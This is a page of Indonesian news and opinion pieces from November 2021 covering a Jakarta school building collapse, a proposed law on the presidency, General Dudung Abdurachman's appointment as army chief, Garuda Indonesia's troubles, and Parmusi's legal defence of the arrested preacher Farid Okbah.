Jakarta, FNN - Anggota Komisi E DPRD DKI Jakarta Ima Mahdiah meminta Badan Pemeriksa Keuangan (BPK) Perwakilan DKI mengaudit anggaran pembangunan SMA Negeri 96 Cengkareng, Jakarta Barat yang roboh saat proses renovasi. "Kami mau cross check siapa kontraktornya, polisi harus masuk di sini, BPK juga harus masuk biar mengaudit," kata Ima dihubungi di Jakarta, Rabu, 17 November 2021. Politikus PDI Perjuangan itu juga meminta Dinas Pendidikan DKI Jakarta untuk memeriksa dan mengantisipasi agar kejadian tersebut tidak terulang. "Kami di Komisi E menyampaikan ke mereka (Dinas Pendidikan) bahwa sekolah-sekolah ini kalau misalnya rehab berat sekalian rehab total jadi benar-benar tidak tambal sulam," ucap Ima, sebagaimana dikutip dari Antara. Ima menyebut renovasi di SMA Negeri 96 tersebut diperkirakan menelan anggaran sebesar Rp 33 miliar pada 2021. "SMAN 96 itu anggaran 2021 total Rp 33 miliar," ungkap Ima. Sebelumnya, Gedung SMAN 96 di Jalan Jati Raya, Kelurahan Cengkareng Timur, Kecamatan Cengkareng, Jakarta Barat, roboh ketika ketika proses renovasi. "Jadi itu lagi proses pembangunan baru, rehab total," kata Kepala Suku Dinas Pendidikan Jakarta Barat I Aroman ketika dikonfirmasi wartawan. Aroman mengaku belum mengetahui pasti kronologi dan penyebab utama robohnya gedung SMA tersebut. Namun demikian, Aroman memastikan robohnya gedung tersebut mengakibatkan empat korban terluka yang terdiri dari para pekerja bangunan. Beberapa dari korban luka tersebut ada yang menderita patah kaki dan langsung dilarikan ke rumah sakit terdekat. "Jadi puingnya menimpa para pekerja. Warga sekitar enggak kena karena jauh, enggak ada warga luka," kata dia. Sementara itu, Kepala Polsek Cengkareng Ajun Komisaris Polisi Endah Pusparini menambahkan robohnya sekolah itu mengakibatkan empat orang pekerja luka-luka. "Saat ini empat orang korban sudah dibawa ke RSUD Cengkareng," tutur dia. (MD).

Dibutuhkan Penguatan Lembaga Kepresidenan

UU kepresidenan harus detail dan rinci. Sehingga, jika terjadi konflik, misalnya antara presiden dan relasinya seperti DPR, maka presiden menjadi kuat, karena didukung UU tersebut. Jika terjadi konflik antara presiden dan DPR maka target undang-undang tidak tercapai. Banyak kasus. Dari seratus undang-undang yang direncanakan, tetapi yang disahkan hanya sedikit. Sehingga menjadikan presiden tampak lemah. Oleh Prof. Dr. Djohermansyah Djohan, MA DALAM bernegara tentu ada hal mendasar yang perlu diperhatikan aturan mainnya. Tanpa aturan yang jelas, tujuan dan arah tidak akan jelas. Pertimbangkan juga, bagaimana aturan (rule of the game) adalah inti dari sebuah permainan, dan teka-teki - bahkan ketika seluruh tujuan kegiatan itu seharusnya adalah membuat kita bahagia serta dapat merasakan kehadiran aturan yang sesuai dan tidak menekan, baik tertulis maupun tidak tertulis - ini sebenarnya aturan hidup. Bisa kita bayangkan hidup di sebuah negara tanpa aturan yang jelas. Ke depan, aturan pemerintahan yang secara prinsip perlu di perbaiki. Beberapa institusi negara terlihat lemah, terutama institusi kepresidenan. Hal itu terjadi karena besarnya pengaruh partai penguasa yang menimbulkan kesan shadow government dalam kekuasaan presiden menjalankan pemerintahannya. Di Amerika Serikat lembaga kepresidenan sudah terinstitusionalisasi. Partai hanya menjadi kendaraan dalam usaha memperoleh tampuk kekuasaan. Akan tetapi, alam penyelenggaraan negara, partai pemenang tidak bisa ikut menitipkan program kerja yang akan dilaksanakan oleh presiden. Karena apa? Karena ada lembaga yang mengatur secara khusus fungsi presiden dalam menjalankan kebijakannya, dan partai pemenang hanya mendukung pelaksanaan program kerja tersebut tanpa ikut menitipkan program kerja dan kebijakan partai. Di Amerika tentu sangat berbeda dengan di Indonesia. Sebagai partai pemenang pemilu tentu saja ada usaha memberi masukan kepada presiden terpilih. Akan tetapi, AS mempunyai undang undang yang dipakai melobi pemimpin terpilih dan dilakukan secara tertutup. Di situlah lembaga kepresiden terlihat menjadi sangat kuat. Otoritas kepala negara dalam menerapkan kebijakan sangat terbuka. Jika ada fund rising yang mendukung program kerja, pemodal pun diumumkan secara jelas agar rakyat mengetahui arah kebijakan presiden dalam melaksanakan program kerja pemerintahannya. Ini pula yang menguatkan program presiden, agar tidak didikte cukong atau partai penguasa. Fenomena Otonomi Daerah Terkait masalah otonomi daerah yang diberlakukan sejak era reformasi dengan tujuan agar daerah mampu mengelola sendiri berbagai aspek kehidupannya dengan memberikan wewenang penuh pada beberapa hal. Misalnya, melaksanakan pemilihan kepala daerah, mengatur secara khusus potensi lokal baik potensi alam, budaya, dan berbagai macam aturan yang dibuat secara khusus oleh daerah mengacu pada kebijakan undang-undang yang disosialisasikan pemerintah pusat, agar keberhasilan di daerah dapat lebih cepat tercapai di berbagai sektor. Pemberlakuan otonomi daerah di Indonesia berbeda dengan negara federal di Amerika Serikat. Walaupun pada awal keruntuhan rezim orde baru, Amien Raiz sempat mewacanakan supaya Indonesia menjadi negara federal. Dengan demikian, sistem sentralisasi berpindah pada konsep desentralisasi . Otonomi daerah di Indonesia berprinsip pada Negara Kesatuan Republik Indonesia (NKRI). Di Indonesia, pusat sangat menentukan seberapa besar dan seberapa banyak daerah diberikan UU otonomi daerah. Jika pusat ingin memberi kewenangan atau menarik kewenangan, maka daerah tidak bisa berbuat banyak. Di Indonesia, ada fenomena menarik terkait otonomi daerah saat awal diberlakukan. Konsep awal otonomi daerah Bigbang of Indonesian Desentralization dengan UU No 22 tahun 1999, membuat daerah kedodoran dan tidak siap. Daerah yang baru saja menggunakan konsep sentralisasi langsung menggunakan UU desentralisasi inilah yang menjadi masalah di daerah. Tentu mereka tidak siap melaksanakan aturan yang cukup absolut di daerahnya. Kemudian, lima tahun setelah pemberlakuan UU No 22/99, pemerintah membehaninya melalui UU No 34 tahun 2004. UU No 34 tahun 2004 itu menata kembali UU sebelumnya yang mengacu pada kewewenangan negara federal agar daerah dapat melaksanakan aturan dengan baik sesuai prinsip-prinsip NKRI. Indonesia adalah negara kesatuan, yang secara tegas tidak membolehkan adanya negara di dalam negara. Hal tersebut pernah diucapkan para founding fathers, seperti Bung Karno, Moh Hatta, Mohamad Yamin, dan lain lain, dalam percakapan mereka di forum rapat BPUPKI (Badan Penyelidik Usaha Persiapan Kemerdekaan Indonesia). Pemikiran tersebut menginspirasi penerapan otonomi daerah, yaitu daerah menjalankan otonomi, namun pusat juga harus menjalankan kebijakannya dalam usaha memakmurkan rakyatnya. Banyak distorsi dalam pelaksanaan otonomi daerah di lapangan. Hal itu terjadi karena banyaknya implementasi yang tidak sejalan dengan tujuan. Pengangkatan kepala daerah dengan sistem pilkada yang di wakili oleh partai yang berpengaruh di daerah justru dimanfaatkan para cukong dalam proses pemenangan kepala daerah. Akibatnya, banyak kendala dalam struktur kendali pemerintahan daerah. Hal tersebut bisa terjadi karena ada kepentingan para cukong di daerah. Banyak distorsi terjadi akibat permainan para cukong atau pemodal yang lebih mengutamakan kepentingannya. Akibatnya, tujuan pemerataan pembangunan untuk kesejahteraan rakyat didaerah sering tidak berjalan baik. Tidak sedikit juga akhirnya kepala daerah bermasalah dan ditangkap karena tindak pidana korupsi. Indonesia Perlu UU Tentang Kepresidenan Kepemimpinan presiden secara spesifik disebut dengan kepemimpinan chief of executive, sebagai kepala pemerintahan yang menjalankan roda pemerintahan. Kemudian presiden juga disebut chief of commander atau panglima tertinggi militer. Dia yang memimpin angkatan darat, laut dan udara, bahkan memutuskan perang. Presiden juga memainkan peranan sebagai penguat partai (the party's role). Sebagai seorang chief of commander, sudah seharusnya presiden memiliki institusi kelembagaan yang kuat serta memiliki wawasan yang baik dalam menjalankan rule of democracy, agar demokrasi tercipta dengan baik. Presiden bisa mengambil keputusan cepat dan bijak atas aspirasi masyarakat luas yang berkembang setiap saat. Begitu juga struktur organisasi penasihat presiden, Dewan Pertimbangan Presiden (Wantimpres), yang anggotanya harus mempertimbangkan kompetensi dan kemampuannya. Dengan demikian, seluruh program dan kebijakan pemerintah menjadi lebih terukur dan transparan. Presiden idealnya bebas dari tekanan manapun, baik partai penguasa maupun cukong. Dengan demikian, apa yang diputuskan presiden dalam sebuah kebijakan adalah murni pemikirannya sendiri. Sejogyanya, partai pengusung hanya dijadikan kendaraan dalam meraih kekuasaan sebagai kepala negara. Dengan demikian, presiden disebut sebagai penguat partai, karena dia maju melalui pintu partai. Mungkin dia bukan ketua umum partai, bisa saja sebagai pekerja partai atau orang biasa. Karena tanpa kendaraan partai, dia tidak bisa menjadi presiden. Kepala pemerintahan itu bisa dilihat dari kepemimpinannya atau leadership-nya. Secara sederhana bisa dilihat dari ada dua hal. Pertama, kapasitasnya dalam membuat formulasi, merumuskan, menyusun dan memutuskan kebijakan-kebijakan. Itu ukurannya, apakah dia membuat kebijakan, merumuskan kebijakan dan memutuskan kebijakan secara alone (sendiri) atau dia di-guiding dari luar. Jika dia dikendalikan oleh orang di luar pemerintahan, misalnya yang menjadikan dia sebagai kepala pemerintahan, biasanya disebut king maker. Apakah kebijakan itu dibuat oleh presiden sendiri, atau dia lebih banyak menerima masukan dari orang di luar kekuasaan. Itu biasanya disebut king atau queen maker. Kedua, bagaimana dia mengeksekusi dan menjalankan kebijakan. Apakah sesuai dengan yang dibutuhkan orang banyak atau dia membuat kebijakan itu berdasarkan kebutuhan golongan kecil elit yang ada di sekitarnya. Hal itu menjadi ukuran bagaimana kinerja presiden itu dalam memimpin pemerintahan. Makanya, dia menjadi chief of executive. Kalau kita lihat presiden sebagai kepala pemerintahan di dalam sistem demokrasi, dia harus punya power yang legitimate, biasanya lewat pemiliham umum. Maka, presiden memiliki kekuasaan yang terbatas, memiliki jangka waktu tertentu dalam berkuasa. Jika tidak ada pembatasan, mudah timbul penyalah gunaan wewenang. Presiden harus memahami tentang dunia kemiliteran, dan politik luar negeri. Sebagai panglima tertinggi tidak hanya perang dalam dunia militer, tetapi juga perang menghadapi wabah pandemi seperti sekarang. Tugas presiden lainnya yang penting menjaga penyelenggaraan pemerintahan dalam negeri, otonomi daerah yang sehat. Dia harus faham sebagai kepala eksekutif, merawat otonomi daerah, jangan sampai kebablasan. Itu sebabnya, presiden harus punya team advisor yang kuat dan kompeten dalam mengatasi berbagai persoalan negara yang dia tidak pahami, agar jalannya roda pemerintahan dapat terkendali dan berjalan baik. Team advisor atau Wantimpres harusnya dipilih orang orang yang handal dan benar benar profesional di bidangnya. Suara atau saran yang disampaikan Wantimpres semestinya menjadi second opinion presiden dalam mengawasi kinerja kerja para menteri-menterinya. Wantimpres sebagai penasihat presiden tentulah dipilih dari mereka yang punya kompetensi, bukan sekedar comot apalagi titipan dari king maker atau cukong belaka. Power penasihat semestinya juga bisa dirasakan bagi kepentingan rakyat banyak, melalui keputusan atau kebijakan yang dibuat presiden. Saat ini penasihat presiden kurang power dan bergigi serta tidak tampak fungsinya secara langsung dalam membantu presiden. Wantimpres tempat kumpulnya orang yang dekat presiden saja, tapi tidak clear kompetensinya. Atas pemikiran pemikiran itu, saya telah lama mewacanakan perlunya dibuat UU tentang kepresidenan secara rinci dan detail, serta proporsional. Dengan demikian apa yang dilakukan presiden sebagai chief executive of state lebih berwibawa dan terukur. Adalah hal yang tidak proporsional jika seorang kepala daerah memiliki ratusan UU sebagai pelaksana kewenangan kegiatan daerah. Sedangkan UU yang mengatur kegiatan kepala negara atau presiden hanya 15. UU untuk seorang kepala daerah sangat banyak. Akan tetapi yang mengatur kewenangan presiden hanya memiliki 15 pasal. Padahal, mengurus sebuah negara lebih kompleks ketimbang mengurus sebuah daerah. UU presiden sangat sumir dan terbatas. UU kepresidenan harus detail dan rinci. Sehingga, jika terjadi konflik, misalnya antara presiden dan relasinya seperti DPR, maka presiden menjadi kuat, karena didukung UU tersebut. Jika terjadi konflik antara presiden dan DPR maka target undang-undang tidak tercapai. Banyak kasus. Dari seratus undang-undang yang direncanakan, tetapi yang disahkan hanya sedikit. Sehingga menjadikan presiden tampak lemah. Kemudian, penguatan tugas wakil presiden agar memiliki tugas dan fungsi yang jelas. Misalnya, wapres menangani bidang tertentu, menjadi penghubung antara pemerintah dan legislatif. Kalau ada persoalan undang-undang yang macet, presiden tinggal memberi tahu wapres untuk melobi. Kita belum ada aturan seperti itu. Yang lebih penting adalah penguatan komunikasi politik presiden. Sebagai seorang manusia ada yang jago ngomong, ada juga tidak jago ngomong. Kalau jago ngomong tidak masalah. Jika presiden tidak jago ngomong, perlu juru bicara yang bagus dan berkualitas supaya rakyat simpati dengan kebijakan pemerintah. Penulis adalah Guru Besar Institut Pemerintahan Dalam Negeri (IPDN) dan Direktur Jenderal Otonomi Daerah Kemendagri tahun 2010-2014.

Tantangan Jenderal Dudung Sebagai Kasad

Oleh Selamat Ginting, pengamat komunikasi politik dan militer dari Universitas Nasional (Unas) Jakarta. Jakarta, FNN - Spekulasi tentang siapa yang akan menjadi Kepala Staf Angkatan Darat (KSAD) akhirnya terjawab. Dudung Abdurachman (DAR) menjadi pilihan Presiden Joko Widodo (Jokowi) menduduki posisi KSAD. Ia menggantikan Jenderal Andika Perkasa, KSAD sebelumnya. Andika menjadi Panglima TNI menggantikan Marsekal Hadi Tjahjanto. Jenderal DAR abituren (lulusan) Akademi Militer (Akmil) 1988-B memang sejak awal menjadi favorit kuat untuk menjadi KSAD dibandingkan dengan pesaingnya, seperti Letjen Teguh Arief Indratmoko (1988-A), Letjen Arif Rahman (1988-B), dan Letjen Eko Margiyono (1989). Diperkirakan empat nama inilah yang disorongkan Mabes TNI kepada Presiden untuk dipilih menjadi KSAD. Jadi keputusan Presiden Jokowi sesungguhnya bukan kejutan bahkan sudah diperkirakan sejak awal. Apalagi pada era reformasi, dari 12 KSAD sebelumnya, separuhnya berasal dari Panglima Kostrad (enam orang), kemudian sisanya dari Wakil KSAD (tiga orang), Sekjen Kemhan (satu orang), Sesmenko Polhukam (satu orang), dan Kepala BAIS TNI (satu orang). Sehingga propabilitas Pangkostrad untuk menjadi KSAD lebih besar. DAR memenuhi persyaratan untuk menduduki jabatan KSAD. Ia terbilang cukup lama bertugas di satuan lapangan (batalyon infanteri) sekitar 13 tahun, sejak 1989. Ia kenyang menjalani berbagai operasi militer, baik saat menjadi komandan peleton, kepala seksi operasi, komandan kompi, wakil komandan batalyon hingga menjadi komandan batalyon di Lampung. Ia juga pernah menjadi komandan Kodim, dua kali. Di Lubuk Linggau dan Palembang, Sumatra Selatan. DAR kemudian menjadi perwira pembantu madya di Mabesad. Lalu menjadi Asisten Personel Kasdam Wirabuana. Setelah itu Komandan Resimen Induk Kodam Sriwijaya. Pada jabatan perwira tinggi, DAR menduduki jabatan beragam, mulai Wakil Gubernur Akmil (2015-2016). Namun sempat parkir selama satu tahunan (2016-2017) sebagai perwira tinggi khusus KSAD. Akhirnya, ia kembali mendapat jabatan sebagai Wakil Asisten Teritorial KSAD (2017-2018). Setelah itu menjadi Gubernur Akmil (2018-2020) dengan pangkat mayor jenderal. Dari situlah ia kemudian dipercaya menjadi Panglima Kodam Jayakarta selama sembilan bulan hingga Mei 2021. Promosi kembali menjadi Panglima Kostrad dengan pangkat letnan jenderal. Ia menduduki jabatan Pangkostrad selama enam bulan (Mei 2021-November 2021). Hingga pada Rabu 17 November 2021, ia mendapatkan surat keputusan presiden menjadi KSAD. Lalu, apa catatan dan tantangan terhadap KSAD Jenderal DAR? Pertama, secara legal-formal DAR telah menjadi KSAD. Selayaknya semua pihak dapat menerima keputusan Presiden Jokowi sebagai pemegang kekuasaan tertinggi atas TNI-AD, TNI-AL, dan TNI-AU. Prajurit TNI-AD tentu wajib mendukungnya sepanjang DAR berada dalam garis Sapta Marga dan Sumpah Prajurit. Hal ini penting agar sebagai KSAD baru, DAR dapat melaksanakan tugasnya dengan maksimal demi kepentingan TNI, bangsa, dan negara. Kedua, sesuai dengan fungsi utama TNI AD, sebagai KSAD DAR bertugas melakukan pembinaan kesiapan tempur satuan jajarannya serta pembinaan teritorial. Wajib hukumnya KSAD menguasai pembinaan satuan meliputi aspek doktrin, personel, materiil, perlengkapan, keuangan, dan lain-lain. Ketiga, DAR sebagai KSAD menjadi pemimpin terdepan dalam pembinaan personel. Ia harus bisa membentuk, memelihara, dan meningkatkan jati diri prajurit sebagai tentara rakyat, tentara pejuang, tentara nasional, dan tentara professional. Keempat, DAR sebagai KSAD harus bisa mendekatkan diri dengan rakyat apa pun identitas rakyat tersebut. Ini sebagai wujud TNI adalah tentara rakyat. Sehingga prajurit TNI-AD bersama-sama rakyat bekerja untuk kepentingan rakyat. Kelima, sebagai tentara nasional, DAR harus berorientasi pada tugas negara, tidak boleh partisan, apalagi terpancing masuk dalam kancah politik praktis. Keenam, sebagai tentara professional, DAR harus menguasai manajemen pembinaan doktrin, pendidikan, dan latihan. Termasuk uji ketrampilan siap tempur. Ketujuh, sebagai KSAD DAR harus menguasai konsep pertahanan di era industry 4.0. Memahami dunia ketahanan dan pertahanan global dan penguasaan dunia siber yang mumpuni.

Wakil Ketua MPR Dorong Upaya Penyelamatan Garuda Indonesia

Jakarta, FNN - Wakil Ketua MPR Syarief Hasan mendorong Pemerintah untuk menyelamatkan Garuda Indonesia, karena merupakan maskapai strategis dan kebanggaan Indonesia yang harus diselamatkan dengan berbagai langkah-langkah penyelamatan. "Garuda Indonesia sangat lekat dengan masyarakat, terlebih merupakan kebanggaan kita bersama, sehingga perlu dilakukan penyelamatan agar Garuda Indonesia tidak bangkrut," kata Syarief Hasan dalam keterangannya, di Jakarta, Rabu. Dia juga mendukung langkah restrukturisasi dan pemulihan kinerja Garuda Indonesia yang merupakan langkah penyelamatan yang akan didukung bersama. Langkah itu, menurut dia, sangat penting untuk mewujudkan Garuda Indonesia yang lebih adaptif dan efisien dalam pembiayaannya. Syarief juga menilai, Pemerintah harus memberikan perhatian terhadap BUMN-BUMN yang menyangkut hidup orang banyak, karena beberapa tahun terakhir, banyak BUMN yang pailit dan terancam bangkrut. "Pemerintah harus bisa mendeteksi BUMN yang menyangkut hajat hidup orang banyak seperti Garuda Indonesia untuk segera diselamatkan," ujarnya pula. Dia juga meminta Pemerintah harus menempatkan sumber daya manusia yang kompeten dan profesional di berbagai BUMN termasuk Garuda Indonesia, agar dapat terus tumbuh dan tidak terkontaminasi dengan hal-hal politis. (mth)

Ustadz Farid Okbah Pernah Bertemu Presiden Jokowi

Jakarta, FNN -- Ketua Umum Persaudaraan Muslimin Indonesia (Parmusi), Usamah Hisyam, mengungkapkan bahwa dirinya bersama pengurus Parmusi lainnya termasuk Ustadz Farid Okbah pernah beraudensi dengan Presiden Jokowi pada Juni 2020. Berdasarkan pengalaman dan pengamatan dirinya memimpin Parmusi, jelas Usamah, Ust Farid Okbah sangat kooperatif dalam melaksanakan strategi dakwah, termasuk terhadap pemerintah. "Sehingga pada 29 Juni 2020 ketika Bapak Presiden Jokowi menerima permohonan audiensi Pengurus Pusat Parmusi di Istana Negara, saya merekomendasikan penuh Ustadz Farid Okbah sebagai salah seorang dari enam Pengurus Pusat Parmusi yang diterima Bapak Presiden. Saat itu, dihadapan Bapak Presiden saya mempersilahkan langsung kepada Ust Farid Okbah untuk menyampaikan poin-poin penting kebijakan Parmusi secara nasional kepada Bapak Presiden yang berdimensi dakwah," kata Usamah Hisyam dalam siaran persnya di Jakarta, Rabu (17/11/2021). Pihaknya, lanjut Usamah, menyetujui bergabungnya Ust Farid Okbah dalam kepengurusan Parmusi periode 2015-2020, kemudian periode 2020-2025 justru untuk meneguhkan komitmen kebangsaannya kepada Republik Indonesia. Komitmen kebangsaan itu menjadi fondasi dasar Parmusi dalam menjaga keutuhan NKRI. Lalu komitmen Ust Farid Okbah bermuara pada keinginannya untuk masuk dalam gelanggang politik. "Setelah berkoordinasi langsung di kediaman saya dan saya menyetujuinya bahkan Ust Farid Okbah menjadi Ketua Umum Partai Dakwah Republik Indonesia (PDRI). Ini cara konstitusional untuk memperjuangkan aspirasi umat dengan cara-cara yang demokratis konstitusional," jelas Usamah. Terkejut dan prihatin Sebagai pimpinan dan penanggung jawab Ormas Parmusi, kata Usamah, dirinya sangat terkejut dan prihatin terhadap penetapan Ustadz Farid Okbah sebagai tersangka kasus terorisme. Oleh karena itu Usamah menginstruksikan Ketua Lembaga Bantuan Hukum Parmusi, Srimiguna, untuk membentuk tim bantuan hukum dan berkoordinasi kepada pihak keluarga serta tim hukum lainnya bagi pembelaan Ustadz Farid Okbah. "Saya memohon kepada Bapak Kapolri agar di dalam penegakkan hukum, aparatur kepolisian terutama Densus 88 menghargai dan menghormati asas praduga tak bersalah dengan melaksanakan proses hukum yang transparan sehingga tidak terjadi character Assassination terhadap Ustadz Farid Okbah (UFO)," kata Usamah. Menurut Usamah, sejak 2016, Ust Farid Okbah juga menjabat sebagai wakil ketua Lembaga Dakwah Parmusi periode 2015-2020. Tugas dan tanggung jawabnya adalah melaksanakan serta melakukan pembinaan dakwah illallah terhadap lebih dari 5.000 da’I Parmusi di seluruh pelosok Tanah Air. Muktamar IV Parmusi tanggal 26-28 September 2020 dibuka oleh Presiden Jokowi dan di tutup oleh Wapres Ma’ruf Amin. Dalam muktamar tersebut, kata Usamah, dirinya terpilih kembali secara aklamasi menjadi Ketua Umum Parmusi periode kedua. "Saya memilih, mengangkat dan menetapkan Ust Farid Okbah sebagai Ketua Bidang Agama Pengurus Harian Pusat Parmusi periode 2020-2025, " tambah Usamah Hisyam. Yang menjadi pertimbangan Usamah memilih Ustadz Farid Okbah adalah pertama dia memiliki kesungguhan dan militansi dalam perjuangan dan pergerakan dakwah illallah. Kedua, Ust Farid Okbah sangat tawa’dhu (rendah hati) dan sami’na wa atho’na (patuh mengikuti) di dalam melaksanakan strategi perjuangan dakwah illallah secara hikmah yang menjadi garis kebijakan Parmusi secara nasional dengan program aksi prioritas membangun Manhaj Dakwah Desa Madani. Ustadz Farid Okbah adalah salah seorang Instruktur/Pendakwah Parmusi dalam membangun Desa Madani. Bahkan, lanjut Usamah, pada tanggal 26-28 September 2018, Parmusi pernah menggelar Jambore Nasional 5.000 Da’I Parmusi di Gunung Gede Pangrango Cianjur Jawa Barat. Acara ini dihadiri oleh Kapolri waktu itu Jend. (Pol) Tito Karnavian, Kepala Badan Intelkam Mabes Polri Komjen Luthfi Lubihanto, Kepala Divisi Profesi dan Pengamanan Mabes Polri Irjen Listyo Sigit Prabowo (saat ini Kapolri) dan Kapolda Jawa Barat Irjen Agung Budi Maryoto (selanjutnya pernah menjabat sebagai Kaba Intelkam Polri). "Saat itu, Ust Farid Okbah bertindak sebagai Panitia pengarah Jambore Nasional 5.000 Da’i Parmusi," ujar Usamah memberi kesaksian. (TG)

Presiden Berpesan ke Jenderal Dudung Agar Bantu Program Pemerintah

Jakarta, FNN - Presiden Joko Widodo berpesan kepada Kepala Staf Angkatan Darat (Kasad) Jenderal TNI Dudung Abdurachman agar TNI AD membantu pelaksanaan program-program pemerintah demi kesejahteraan masyarakat. Pesan Presiden tersebut disampaikan Jenderal Dudung dalam keterangan pers di Istana Negara, Jakarta, Rabu, usai dirinya dilantik menjadi Kasad sekaligus mendapat kenaikan pangkat menjadi Jenderal dari Letnan Jenderal. “Ada pesan dari Bapak Presiden bahwa segala bentuk apapun dari TNI AD harus membantu pemerintah di dalam melaksanakan programnya,” kata Dudung yang sebelumnya menjabat sebagai Panglima Komando Cadangan Strategis Angkatan Darat (Pangkostrad). Dudung kemudian mengatakan “Kami dari TNI AD siap membantu pemerintah demi kesejahteraan masyarakat dan kesejahteraan seluruh rakyat Indonesia,” Selanjutnya, kata lulusan Akademi Militer 1988 ini, Presiden Jokowi juga berpesan agar kesejahteraan prajurit TNI dapat ditingkatkan. "Pesan berikutnya adalah bagaimana meningkatkan kesejahteraan prajurit karena prajurit yang lebih utama," ujarnya. Jenderal Dudung mengatakan akan menyampaikan kepada seluruh prajurit TNI AD untuk mempedomani delapan wajib TNI, terkhusus butir ke delapan. “Menjadi contoh dan mempelopori segala usaha untuk mengatasi kesulitan rakyat di sekeliling. TNI AD harus hadir dimanapun adanya kesulitan yang diderita oleh masyarakat,” katanya. Dudung juga menekankan akan mengimplementasikan visi misi Panglima TNI Andika Perkasa. Ia juga mengapresiasi kinerja Jenderal Andika, yang sebelumnya merupakan Kasad. “Kami akan lanjutkan apa yang sudah dirintis,” ujar Dudung. Dudung yang merupakan lulusan Akademi Militer 1988 dari kecabangan infanteri, sebelumnya menjabat sebagai Panglima Komando Cadangan Strategis Angkatan Darat (Pangkostrad), setelah menjadi Panglima Komando Daerah Militer Jayakarta (Pangdam Jaya) pada 2020—2021 dan Gubernur Akademi Militer pada 2018-2020. Dudung mulai dikenal ketika dia mendirikan Patung Soekarno di Akademi Militer, Magelang, Jawa Tengah. Peresmian patung proklamator RI itu dihadiri langsung oleh Presiden kelima RI Megawati Soekranoputri, Menteri Pertahanan Prabowo Subianto, hingga Ketua DPR RI Puan Maharani. Ketika menjabat Pangdam Jaya, nama Dudung dikenal ketika dia melontarkan usulan pembubaran Front Pembela Islam (FPI) jika terus melanggar ketentuan hukum. Dia juga mengerahkan prajurit Kodam Jaya untuk mencopot spanduk/baligho Habib Rizieq Shihab yang tidak berizin. (mth)

Bela Ustad Farid Okbah Parmusi Siapkan Tim Bantuan Hukum

Jakarta, FNN – Ketua Umum PP Parmusi (Persaudaraan Muslimin Indonesia) H. Usamah Hisyam menginstruksikan Lembaga Bantuan Hukum (LBH) Parmusi untuk membentuk tim bantuan hukum dan berkoordinasi kepada pihak keluarga serta tim hukum lainnya bagi pembelaan terhadap Ustadz Farid Okbah (UFO). “Saya telah instruksikan Ketua LBH Parmusi untuk membentuk tim bantuan hukum dan berkoordinasi kepada pihak keluarga serta tim hukum lainnya,” ujar Usamah dalam keterangan pers yang diterima FNN, Rabu (17/11/2021) di Jakarta. Lewat keterangannya tersebut Usamah juga menginstruksikan seluruh pengurus, manajer dakwah, dan para dai Parmusi di seluruh Indonesia untuk tidak reaktif dan bersikap emosional terhadap status UFO. Sebaliknya ia mengajak untuk tetap mendoakan UFO agar diberi perlindungan, ketabahan, dan kekuatan oleh Allah Swt., serta tidak mengeluarkan pernyataan-pernyataan yang kontra produktif bagi gerakan dakwah illallah. Ia juga meminta agar para dai Parmusi untuk terus berdakwah di tengah-tengah umat. Menurutnya, ia akan mengawal serta bertanggung jawab langsung setiap upaya dakwah illallah yang dilaksanakan oleh setiap dai Parmusi dalam upaya membentuk Desa Madani secara hikmah dan konstitusional. “Kepada segenap keluarga UFO saya harap agar bersabar menghadapi musibah ini dengan tetap sabar dalam ketaatan melaksanakan perintah dan larangan Allah Swt. Semoga Allah Swt meridhai perjuangan kita bersama,” ujar Usamah. Usamah juga mengungatkan bahwa UFO terlibat aktif dalam program aksi Desa Madani dengan melakukan pembinaan 5.000 Da’I PARMUSI melalui Dauroh tiap bulan secara bertahap. Bahkan, pada tanggal 26-28 September 2018 PARMUSI menggelar Jambore Nasional 5.000 Da’I PARMUSI di Gunung Gede Pangrango Cianjur Jawa Barat yang dihadiri oleh Kapolri Jenderal Polisi Tito Karnavian, Kepala Badan Intelkam Mabes Polri Komjen Luthfi Lubihanto, Kepala Divisi Profesi dan Pengamanan Mabes Polri Irjen Listyo Sigit Prabowo (saat ini Kapolri) dan Kapolda Jawa Barat Irjen Agung Budi Maryoto (selanjutnya pernah menjabat sebagai Kaba Intelkam Polri). Saat itu, UFO bertindak sebagai Panitia pengarah Jambore Nasional 5.000 Da’I PARMUSI. Berdasarkan pengalaman dan pengamatan Usamah Hisyam selama memimpin PARMUSI, UFO sangat kooperatif dalam melaksanakan strategi dakwah, termasuk terhadap pemerintah, sehingga pada tanggal 29 Juni 2020 ketika Bapak Presiden RI Ir. Joko Widodo menerima permohonan Audiensi Pengurus Pusat PARMUSI di Istana Negara, saya merekomendasikan penuh UFO sebagai salah seorang dari enam Pengurus Pusat PARMUSI yang diterima Presiden. Seperti diketahui Ustaz Farid Okbah ditangkap Densus 88 Antiteror di dekat kediamannya di Jatiwarna, Bekasi, Jawa Barat pada Selasa (16/11/2021) pagi. Pengacara menyebut tuduhan Farid terlibat terorisme adalah fitnah. "Kalau menurut kami, itu semua fitnah saja itu. Kami yakin Ustaz Farid bukan seorang teroris," ujar pengacara Ustaz Farid Okbah, Ismar Syafruddin, saat dihubungi, Rabu (17/11/2021). Ismar mengatakan Farid adalah seorang ulama yang gemar memberikan masukan untuk memajukan generasi muda. Selain itu, Farid disebut kerap berdakwah menyampaikan kebenaran. "Beliau adalah seorang ustaz, seorang ulama, yang selama ini getol untuk bagaimana memajukan para generasi muda untuk menjadi seorang yang alim. Beliau betul-betul dakwah, untuk menyampaikan kebenaran," tuturnya. Ismar juga mempertanyakan motivasi Farid bila terlibat dalam terorisme. Ismar menilai Farid merupakan orang yang cinta Indonesia dan kerap mengajak orang menjalankan demokrasi. "Kalau masalah tuduhan-tuduhan pihak kepolisian itu, kita cari apa motivasinya Ustaz Farid kalau dia mau jadi teroris. Teroris itu kan adalah salah satu kata-kata yang menyeramkan untuk didengar, siap membunuh, siap meneror, siap mengguncangkan suatu negara, padahal beliau adalah orang yang betul-betul mencintai Indonesia," tuturnya. (sws)

Presiden Jokowi Lantik Dudung Abdurachman sebagai Kasad

